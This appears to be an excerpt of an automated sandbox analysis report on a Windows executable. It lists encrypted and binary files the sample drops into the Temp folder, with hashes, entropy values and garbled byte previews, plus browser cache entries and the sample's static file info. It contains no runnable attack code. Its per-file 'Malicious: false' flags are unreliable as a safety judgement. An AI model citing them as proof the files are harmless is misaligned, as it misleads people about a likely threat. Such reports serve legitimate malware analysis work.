Preview:	hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................................................t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y

C:\Users\user\AppData\Local\Temp\Eligibility

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	6.669251844476311
Encrypted:	false
SSDEEP:	1536:zzGc/xv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcLSDOSpZ+q:v5mjccBiqXvpgF4qv+32eOyKODOSpQq
MD5:	3EFE58B3BE584C2AFE3D64A453F70DAC
SHA1:	BA151BDFA43145DC0E3A495AC5382638CFB0A2C1
SHA-256:	7054A53CE5187D3470517170AF3138DC28CEC4ED1793574A91CCA795FB7E3E10
SHA-512:	929B0A9AF43360AF0F820FAB936650B211978523B9FDEF00EE563930E03F2A9830E5C2246BE9ACE7F95AB78CFB075E82347CAFB02472B8A09DC4859C9A5232F3
Malicious:	false
Preview:	..0.]..B....t...........B.......It.........U.R.Na....RP.U..B ...t....u...$XZ.]..]...U...u..A...Y].U.....u...P..Y..t..u......Y..t.].}....h....F...U..]...........`K..U....L....j Y+.E...3...L.].U..E.V.H<....A..Q.....A.k.(..;.t..M.;J.r..B..B.;.r...(;.u.3.^]....V......t d........M..P...;.t.3.........u.2.^..^.U..}..u.....M.........-....u.2.]..?$....u.j...-..Y...].U.....=..M..t.....V.u...t....u}.$.....t&..u"h..M.."..Y..u.h..M.."..Y..tF2..K...L..u.W......M.j Y+.....3...L..E.E..E.......M..E.E..u.E...._....M....^..j......j.h..L......e...MZ..f9...@.u].<.@.....@.PE..uL.....f9...@.u>.E....@.+.PQ.^...YY..t'.x$.\|!.E..........E..3.8..........e..E.....2..M.d......Y_^[..U.........t..}..u.3....M...].U..=..M..t..}..u..u..."...u..[,..YY..].U....L...3...M.....u.....u...!....h..M..l!..Y..Y....#E.].U...u.......Y....H].U...u..Q...Y].."...j......Y..t.hL.B......Y3..j..S....U..j.h3'D.d.....PSVW...L.3.P.E.d.....h....h..M...8.I.h..J.....I.....u.h,.J.....I...........hH.J.V....I.hd.J.V.....

C:\Users\user\AppData\Local\Temp\Judy

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997482190075013
Encrypted:	true
SSDEEP:	1536:UzkS9wznOULQYQQ1YvdhCPF6+XoWW/ej/q57UJZNt+59uxkfQFaxT7k:UzkS9wzNLQYhNvlW/ej/q5oJR69uxk0Z
MD5:	F5C4EA189E763C79767BB2F4BC471F08
SHA1:	6ABE10F27AEB64CB3583EC3549D8F84EB23B05EB
SHA-256:	49B1A81A6965071DB23FE804A6293B87FD2AB96CFDA6E28D806C1E76A53E723E
SHA-512:	31E79F7A7FC0A5EEA3C4D70B152F75573C43C324B317667F41A824EBB2913D7BF4BACBF08A85D6281EC33ADA2F2BABE2A26D251008288CB6A4CE85E38DBE51D7
Malicious:	false
Preview:	Vz.5..Ff._);.S...jK.;.E......5...mv...%.F.a..R-A..bv"g'5.3..b.e.$...[$D!..>..uT.j.....NY.K.p...ig.O@=..U_r.R......W.~/\|......R.&.s...A-.y..d.....p...8T....$..b.k......gT.....2.."f...0...T../..0,..#X.1.j...W.%)@\....3.B\|........m.0...V7.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...N.8.'.F...h..............R.."...R.."..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t. ..,P..Myn.2..t.W............<..R.......R.."..m.....8..r..5...x..2).U.j....R>..#.~.....b(..\|......\.....k.LX....=.#=.....a.'....-??!?..H.`u.......f...g...I..Wz .......7.Pr..+.Q~..S.e.w..@...tj...)...=.6`)PP;v,8.lA_>y.m.......a....C.........c{...9,....=Ip....6..d.g...c8.XCloB.....U.M.\|......od.8...\|..0k.&Tc.

C:\Users\user\AppData\Local\Temp\Organizing

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	239
Entropy (8bit):	4.917953550006691
Encrypted:	false
SSDEEP:	6:ox3FqjvVg3F+X32+hZCt7HSbYwClS6CSNN:63FyGSG+fCtJfjN
MD5:	28A97FEBFC5CD391BEC1E2A3D9D938BF
SHA1:	ADEA302B1D73D65C4C2A64F4F10955D5E4D728AA
SHA-256:	2528CD8D1353E6C4DBCC6D2226B5B50EF14027A962A49C4001D2C8C072904773
SHA-512:	7BBB7F7781C77740EFC6361C5195A01F854C3CA1AFD9EC7870C4F87C5A28432AF97D61A41E4AF0D2D3CEA45FA3565E297FC08CD7ACA91831792DF0A81EFE0F82
Malicious:	false
Preview:	profiles........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...

C:\Users\user\AppData\Local\Temp\Origin

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	4.7517361763863475
Encrypted:	false
SSDEEP:	384:+Oa3HwwuBcozc/mwftIQXoSpu88888888888888888888888888888zv888888NR:TaAwuXc/mex/Sg
MD5:	7BBDCF2829F157F4178AD1A4EA31BFE6
SHA1:	AFC7C5852F104D94FC2726B3230039B696F17FC2
SHA-256:	BAC794EE8129A6EDAA06FED424A8839D24B6B8E6A75C4F23BC8C3E7735498818
SHA-512:	D2DD73E8F2B965B9BF9BB806C639AF654646D76628E5C707F29EDE16A1634DD5A699FB239C83C4BCF492B03E2941129AFFC777C39B9851F948A96F537DC844FF
Malicious:	false
Preview:	.".......".......".......".......4.......'.......'.......'.......'.......'.......'...............................................Z.......Z.......Z.......Z.......Z.......Z.......Z...............=.......=.......=.......=.......=.......=.......K.......K.......K.......K.......\.......\.......\.......\.......E.......E.......E.......E.......E.......H.......H.......H.......H.......K.......................................!.......!.......!..?....!..?....!..?....!...A.......................J.......V.......d...............p.......~......................................................................................................................................C....!..GA...!..K....!.......!.......!.......!.......!...................................0...........!.......!.......!.......!.......!.......!.......!.......!.......!.......!.......................................................:.......:.......:.......:......................................................................................

C:\Users\user\AppData\Local\Temp\Saved

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	68465
Entropy (8bit):	7.005168590448056
Encrypted:	false
SSDEEP:	1536:uu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:u4ZNoGmROL7F1G7ho2kOb
MD5:	53AB895BB726A4933DD1DC3F2FA2E5F8
SHA1:	3933C015286DE1871305AC17679D7244E0C73A07
SHA-256:	230C6C15BB57BCB9566D03A0940EB2D8CBB52FD2807CB195982C2541EF7EBBC2
SHA-512:	3FFB82FB40E8FF1D98D395601DE10BEB59AF9F77AF6300DBA79E2436EA787EE7DCE026DD43CDDA324515F81EC7B5F48E1DF396CFC3568128468C3CC5E663682B
Malicious:	false
Preview:	.".#"=.v......;aoG..{.i.l?#...<4.a0.k.&....CK..v..........io.w.......W$....d.O..%...G.........l...`qq..;....w.....x..L7..G.1...=].....vd..\Xq.:Uu...... "m@.....9.w....]..J.....bawS~.[]W`n......-..p?.>.H. ...l.J..i.E....v..kk....~..m......+.8uy..w.i...Gw6...P..e'..H.i.....8...].....V.....9.............\|..8.zc.kSY.=..T....'..l.qc:.\|..q.f.U..m;.t..[g...:.'"..Mrlw...~.....MR.X.,.q..,y.....7....Ns`g....(U.....<....P...=.8.[.....2.V.<.....:/..bb..z.+.....[.NT..... .vg.KG.]f.l..9..t....y1ZZZ\|"..{L.yPG..Z..m.r\|o7C.qW.cm..+.\.[..w.[....&.]=.....rlw..6;.T,...G..".....3T5 "}...T.Xl`Y./......OV][..`,[.9....FT.Vg3.vq....wD.orhg..C..:.l...........>U...e.T...V.......(Rm....sW.c1...N09....=.-...gx......IDZ........0..Z...q2U.,+`.....z.......H.Z...~.;.....^..oNpi\|.$\*[\|..$7g./.......Z...p.lQXw..........y..\w-.w.M.....K...w.....g..\|...'..+......%X,[.:...... ..=.+.e.#.Nc.'.}...W...c......n..+.l....b...vw..;.t.Q..J.S.a.@.P.>......E........~:\nr..y..

C:\Users\user\AppData\Local\Temp\Sensor

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	6.610127089636133
Encrypted:	false
SSDEEP:	3072:ywS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLtA:yb2j6AUkB0CThp6vmVnjpA
MD5:	3B125D59CE5A2CF242A621511A0FB164
SHA1:	3CCBA09F214B941931D6169CA9959ACE2A72ABA7
SHA-256:	E4C1FBEDC713173BCEF5C724F3D64283ADD852A64F65C87EB3EC8D86C55833AA
SHA-512:	C026F9AA8E83F2C888E2B8336C7EC8380D34873956407E32FAE31FD72BDA741B72C649B7162587435E3D13B9B9FAE8E0552330D710831C774264724C8589F36C
Malicious:	false
Preview:	xs.]..C<.M.;..t..4......V.M..t....M..i8....u=...y..A..~=.@<.M.;..t..4.....V.M..A....M..68....u..E.C;.\|....u.V...YY.M..4.......2._^[....V...N..V..F......t.Q......F..V..$..^.U..V.u.j......Y.M.Qj.VP.....p..0.......^].3..A.f.A..u......U..U.;.t".....B..A..B..A..B..A..B..A..B..A...]....A .......9.\|......S....A .......9A.\|..A....:...U.......3.V.u.W....f.F.9G ............P....I.....R........8E.t.8.....u.....u....8E.u.....u..F..8.....u.....u..F..8.....u.....u..F..8.[....................F.......Sh........I.....I......f..u.h..........f..t.....u....h........I......f..u.h..........f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j[....I......f..u.j[......f..t.....u..F..[_..^....U..QQS..3.V..E.W.x.CO.&..e....xPW.....j0Y...f;.r...9w.+.....Ar...Fw...7....ar%..fw ..W........O.E.@.E.....E.\|....t..&.2....._^[..y..........<.......<-......<.......<#......<(t.<"t{<%tw<'ts<$to<&tk<!tg<otc<]t_<[t[<\tW<.tS<.tO<_tK<.tG<.tC<.t?<.t;<.t7<.t3<.t/<.t+<.

C:\Users\user\AppData\Local\Temp\Sheets

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.996893383300018
Encrypted:	true
SSDEEP:	1536:BUSTLYdN5/qM8GDI99k/fG3EwYkRinZI6I6+bit:u+L8H/pmk20DnZI6m2
MD5:	D947E72346C4AC1ABA8BBDE8BB791F6F
SHA1:	F6DC2CFFBC0B29502CBA42D9ADEE2263A7FF4835
SHA-256:	A6E6FC90D3C04E2461E3017E9F1DBAA27ABB9278F5DB7BB09A218A3A969FEB41
SHA-512:	61E4A6BFB253D4FCF21781324C6DD7B2DFF0750075BFE4CCAFFFF07A4D2FA552016DFB343BB835BFC7E7D6FD80B2B35B9519F2D6958885502758138BAB764E9C
Malicious:	false
Preview:	..({.....65."...f....k%. +......v.Y.H2....A;U...'.s....3..R_H......QG...&XKw.,.f.MB....6.&tI.G...J..V.P... ..]....R.l.N...r.+da..h...d...^.t...?K....cR....z...h0...8.sEt...i.h\|.c......F..LA.Y9.T.]_..!u...[e.#(.pN.t.0z..[U....N......K7.<..X..%..H..w.C.E."...\|....3...'..2.wi....?i..\(..8F. .s.T..#6...B.Hq..^..&XSgE.w.g....A0.<..w@.....M......r.M{......KP.V]...?......Qh...!....1..z .".$J..xCB^.T..7.....,....g^.tXs.f...gz%..........5o.."x..2.....Q.g.`=..1..A.. .....L.B.....H.....q.B.<.o."u.ud.7.....y\.....d.Eil.".,.cw..m...Ax!.]R...I..}...<.L...tj...._N.(..p...+v..3.....O..'V..).......L9M....sY...._..@..\|.&UC.!.J..Fp..).Nc.......\.......O.Ge.t.x...};.U.x.\|.R...._.3....2,,+..~..)d.h..?....b....@..5....3....x.b.W{.wB.......i.g..N./..Aq.y....k.9w.g.yx.l2.Y;h..`J..x.XT....80.F.......!.....?90.$.....[.....+'{W.D@.]."[.r.j_...BW.f/.re..hpe......U.....V4].X_.=..r.S.Du]Ak.a....@...AAj.B...}.\|:.`..-H=.......\|.q.tP..h.....g.8b}z4.G8^.<N...

C:\Users\user\AppData\Local\Temp\Show

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.654459170489211
Encrypted:	false
SSDEEP:	1536:XaSXL21rKoUn9r5C03Eq30BcrTrhCX4aVml:XtNPnj0nEoXnml
MD5:	35469FF6842A57BD9788DB58A1E1C0CC
SHA1:	47B76F8AE04AEFF8CDE18E15A6AB9D072214A54A
SHA-256:	7006A277A8B2AB82AE4409DF94E227083287B7678B9FFE79E2E19D534F1335EC
SHA-512:	3B97531E8D41C069DD9A8A6F3FE0FBC498FACBB6DF823525A726499CF5A4EA40879B7D02138C6D020520DF2D59C28EFC2F51470BF9AAC9F00B6F40101FE51AD0
Malicious:	false
Preview:	.....~..u..U...@.K..M.P.u..u.......T.U..M.;.r%;.v.;.v/.G.;.w(...}.;.v......;.w....F.;.r..u....Q.M.R.u..U..u..........E..e...;...@......+.@.E..E..@....8.E................U.G...;.v.}..E..M...........;..........}.......]....t1;.s.j.Xf.............B..u=3...@f...........B.(;.s.j.Xf....f.2..f.:..u.3.@f..j.X..f.2..........F..4F...f;.t........M...F..I...A.E...U..H...t4;H s#..+P.........;........E....;H r.U.3.f9C.......jwY..B...Bf9.t.;.r.;........M.....t.9X.t.....u..........M..].U..E.P.u....u..U......jw....g.....C...CXf9.t..T.....N......Q........E..$...E.3.f9D....,....).....F.f;.t.j.Yf;...j.Zf;.................F.j.Zf;.t...}........f.F......f#.....f;...f.F......f#......f;...............}............F..4F......F.f.............f;.u...F.....f;.t....:3.....u..u..U....u..u..9........t.G..F..4F...f;.t....8.......5..F..4F...f;.t..........1L..4F..F..4F...f;.t......jw[...3.B....1L...F.......;u.............I.^.E.#.E.\.A...............F.jwYf9.F..x.......f.~....h....E..GP..\....}..

C:\Users\user\AppData\Local\Temp\Silent

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	6.555933383144663
Encrypted:	false
SSDEEP:	1536:65fhjLueoMmOrrHL/uDoiouK+r5bLmbZzW9FfTubT:ufhnueoMmOqDoioO5bLezW9FfTun
MD5:	04DF53FD74B69C92DBA8CD83EAFA1180
SHA1:	275765D9C7E3300C0B7579AE3DE32F658E12945C
SHA-256:	DB246122E92D7C13AE1050C65C1E1F722F4E98375C9875D719F775CFE1478EE9
SHA-512:	44DFA1CCF0C3B054DAC3FADBA5A87C7C56F318C74DFF83810310E349B80029F19A08133C502DD7B65E543B882E567AC19DE54F8A520FF073774894F6F8320EF5
Malicious:	false
Preview:	..@...Pjr...........9\$Dt......P....D$...@.Ph........3......B..\$0j.....D$4.\$<PW.u..D$L..........x .E....@....f.x..t...@...Pjr.p....L$0.&q......P....D$....f..A.......t$@.L$d.=...D$...P.D$$P.D$hP.u.S.;......L$`.....G....tp....Rt[...t9...t$...t..L$..D$0P....-.t$..L$4..H...:.L$..D$0P.......L$..D$0P.9H...t$..L$4.>.....t$..L$4..N...D$0P.L$$.....t$@.L$d..<...D$ ..P.D$dP.u.......L$`..."G...L$0.!p...Q.t$@.L$d.<...D$...P.D$$P.D$hP.u..t$ .J......L$`.....F...........t$...W.u..N......L$@.F...L$P.o...L$ .D$ ..I..?....t$$.....Y_^[..]...U..E...pSV3.x..W..u....E....].E..E...I..M.].]..].]..]..E......E...H...u..M..].]..F..E..........uF.E......@.Ph.......X....M...F...M...o...M..E...I......u.........9....F.j5Y.M....].f9K..]..M.u(.u..M.;..u..M.t..E..M..0..F.....F..M.B.....jG..B....u.^f;.u........}.......t...B.Ph.....R....M.U.R...P...u....F......@.Ph.....+......E.PSV...f............E......F........A...U.f;E.......jNXf;.......jGXf;....................A..AjNXf9E.u).y..u#j..E.

C:\Users\user\AppData\Local\Temp\Symptoms

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	6.721434698149147
Encrypted:	false
SSDEEP:	768:4Mf17+sVXnQkdFLILu8rbPDmhdimkIXqURPN2mldrfa04VQv7Qf0VosQE7YmFdno:Dh+I+FrbCyI7P4Cxi8q0vQEcmFdno
MD5:	7847E23CCE3770257DD905024CDC5020
SHA1:	2D2070CB134CCDE38544814A1E1E35A08AB95EA6
SHA-256:	75F0206860B962D3636015D98C420EC5EBF4023CA7B75B747AEB388AAFE9049A
SHA-512:	97F5B6924C23343F732AB470B8006EF2B25C92FADB3560FD56DB6E53B8DAF0C65CE66EB416BD03126C3B1AE6FA2CF66178A487C0EABAD24263A3DE7253C236B0
Malicious:	false
Preview:	Y;.t..u.S.3..Y;.u.W.....Y..u..u..7...Y^.u..].S.3...YY..u..E.j.Y..............[_]..U..W.u..~{..Y.M....I....u!...........E.j.Y.................E..@......t........".....E..@...t(.E..`...E..@.......E.t..H....E.j.Y....!..E.SVj.[.......E.j.Y....!..E..`...E..@......u1.u.j..2..Y;.t..u.S.2..Y;.u.W.....Y..u..u..$...Y.u..u.V.....YY..u..E.j.Y................^[_]..U..VW.u..hz..Y.M...I...........M.3..A..1+.@...E..H.I.H...~&.E.V.p.R..........E..H..E...3.;.....d...t....t.....?...k.0.....M......L..@( t.j.WWR.4..#......u..E.j.Y..........j..E.PR.$......H....@_^]..U..VW.u..y..Y.M...I...........M.3..A..1+.......E..H.....H...~(.E.V.p.R...........E..H.f.E.f..3.;.....f...t....t.....?...k.0.....M......L..@( t.j.WWR..3..#......u..E.j.Y..........j..E.PR.R.............@_^]..U..]./.....U..].5...j.h..L....3..u.E..0....Y.u..E....8........?k.0.....M..D.(.t!W.....YP....I...u.........0.I.................u..E.............\.......u.M..1.....Y..U.....E..M..E..E.E.P.u..E.P.D.....]..U..QV.u..

C:\Users\user\AppData\Local\Temp\Volunteer

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	4.612003853136968
Encrypted:	false
SSDEEP:	768:ZKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EYr8qcDP8WBR:ZKaj6iTcPAsAhxjgarB/5el3EYrDWD
MD5:	D9EBAE5A1B2F513852F89FDC3D31672D
SHA1:	DFA418E6FD3C5B16B685EA0E09CC159A5FF6ED14
SHA-256:	B9A3C8E95D261CC9C6B28B58518554120AA2CFA09C2BE81C609C0F01B26B313D
SHA-512:	D5A9226EA1152566872669C4072BEA6498C930E405DB45FB6B7B63CD7A807BE814C7A71E983851F5D7A66B131319A850DDB10E1D4661D4CACD3082CB5C1CAEAC
Malicious:	false
Preview:	.........................................................................................................................................................................................................................................................................................................m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.................................(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(

C:\Users\user\AppData\Local\Temp\Wanting

Download File

Process:	C:\Users\user\Desktop\9EI7wrGs4K.exe
File Type:	data
Category:	dropped
Size (bytes):	41523
Entropy (8bit):	7.995572172924696
Encrypted:	true
SSDEEP:	768:KQQtn0ggXOoA6vd4BnDiNdFDS0YV56wjvXNRsQEY4qGmScAh6SYN:KQQywQvT1TYV5LjvNyhqGXce67
MD5:	6F1A940A0159306F679FF4D03524AE0B
SHA1:	2B48523D0BF3828ABD8590E13A03B5946B3D442D
SHA-256:	7E294DD8F93A9A7D79FB118070F548D1E8FDA62FA96AF973E1A950F150B0331E
SHA-512:	4DDF0AFA24B981BAC3CA60CB52AF73E39BF7155972F49968C8FC85A17F561208D76158CD117948467176696A0BA87B9AC33658C5E7EF1EF3D4201139E959F932
Malicious:	false
Preview:	...._.....b@}.+....G.Qb._.._A...Q....u.V.^..-y.R...bP{..1..c_%..%.wt.oCbD.z.2.r'.-......V...h..g9S...e..K.ozJ6.d........F<;I.<nv.r..-.W.s"q.>A.`. ....]Q&[...B.......b(...... .7...{..,m1.%...I.%...&... .........&[.67.+..&..@.LV......B.C..W..2.y...Ji.L1..DY.h..6..z.B..n..K.A..P....1+J%..~.)....Q.M4.s.$..\X6..O...,_...V.7..O../........~.$yV(-.@...^.6..../.A.q..L.mN...B....S.NO...j.....iN.8........`...}.a.4..#>.....-..j\3.E0...6~...N...0.......T......c.c.5..H...@].Ax..P@...W=T.2(w_.......iRO'.wF......@L.)......T....Dp..z9.s......w .....^........o...n.W.a.V.^o.=..G..q..2.g<5....C.... .......S...BM."..MzHK...v.Z..H.........v?IT..f1.N.ts.....dIQ=.[..dWg.4OR;.h.x.P.i......Cj...@W.zg...L,...y.f25D...}M..5.]..NB!8.9..L*;..AT..z..?....)z.....Z....oA.WM.(..H.J......\|.4..2. ...9...e..g..z...[..2]-a.N,@..;......3...I$..#.9..Z9...<..[X...'m....>.../.....WPe.@.._...=P........\|`R...`..a.)...I(J.R......z. .......1B7..d.=..jy.q`&..4n..

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3198)
Category:	downloaded
Size (bytes):	3203
Entropy (8bit):	5.830377803857918
Encrypted:	false
SSDEEP:	96:jIlglikIN6666VPxM//IE+nOsms9cWO/KCG4KHQffffo:j5WN6666VZpJ6sqKC0
MD5:	7967BA56CDED3C8F10B7012991BA94DF
SHA1:	A5A853E2F64B0234F49BF22056AD711A4F525911
SHA-256:	547A69554D9F4D3077E2DA90FDF908D38D95218B6BC909C770CE0FEEC0A1B9DF
SHA-512:	A4509FBB9876628639A94145D1556625406679A5C92222D14555B527070B8E5349F1A6D14AC26994505214095731D4AC3B63E11BCDBC258F1A771F8E1197E6A9
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["sonic the hedgehog 3 movie box office","walker buehler","winter weather advisory","ursid meteor shower","palworld update","party city closing stores","gladiator ii streaming","nfl mvp odds"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgsvbS8wMTB3cTk2ahIZQW1lcmljYW4gYmFzZWJhbGwgcGl0Y2hlcjL3DGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFDQXdFQkFRQUFBQUFBQUFBQUFBQUdCd01FQlFFQ0FQL0VBRFlRQUFJQkF3TUJCZ0lIQ1FFQUFBQUFBQUVDQXdBRUVRVVNJUVlpTVVGUmdaRUhFekpDWVhGeXNjRVdNMUtDa3FIQzBlRVUvOFFBR1FFQUF3RUJBUUFBQUFBQUFBQUFBQUFBQWdNRUFRQUYvOFF

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132723
Entropy (8bit):	5.436647375682781
Encrypted:	false
SSDEEP:	3072:fTkJQ7O4N5dTm+syHEt4W3XdQ4Q6tuSr/nUW2i6o:fGQ7HTt/sHdQ4Q6tDfUW8o
MD5:	6B3BE793756486DC499E58FF6327980B
SHA1:	D9E8B26C18C7E003CF2A60374BEC7DCCBCA43E19
SHA-256:	187EF3FB59922377ED6C92A8FBF26178B99B73A732F32B4A8E1D1056D736A1D4
SHA-512:	5E0240770261EB321577F43A270A2E1FBD35E680589AD9E084E6E548C25770DAABB3B32502F5E1D2CABEDBE2F3D465BE9523BBC7C96798C1F489CE17DDB894E6
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.96744840145825
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	9EI7wrGs4K.exe
File size:	863'093 bytes
MD5:	8eb4f92605e35c57a42b0917c221d65c
SHA1:	0e64d77ef1b917b3afe512b49710250c71369175
SHA256:	b57d78d93f74f7ae840ab03d3fda4f22a24ad35afcf9a53128cf82a92a67a085
SHA512:	4cc5db426c8de3d7afdcfa26440d5bd9a885f5148e4307b8d04c5d56c96672d5c82ed9989bf346ce7aecea07d980735c46a930b885f824ba53738ac76dbb05bf
SSDEEP:	24576:qWryjPGki4+5vfHU3fYFy664hRvRKMU+Et:1+FQVUPA/v8MhQ
TLSH:	5F052346AFD8007ADEA10FBA33F0EAA34D757D512CB4D61B2396CE8D6CE56C14D6430A
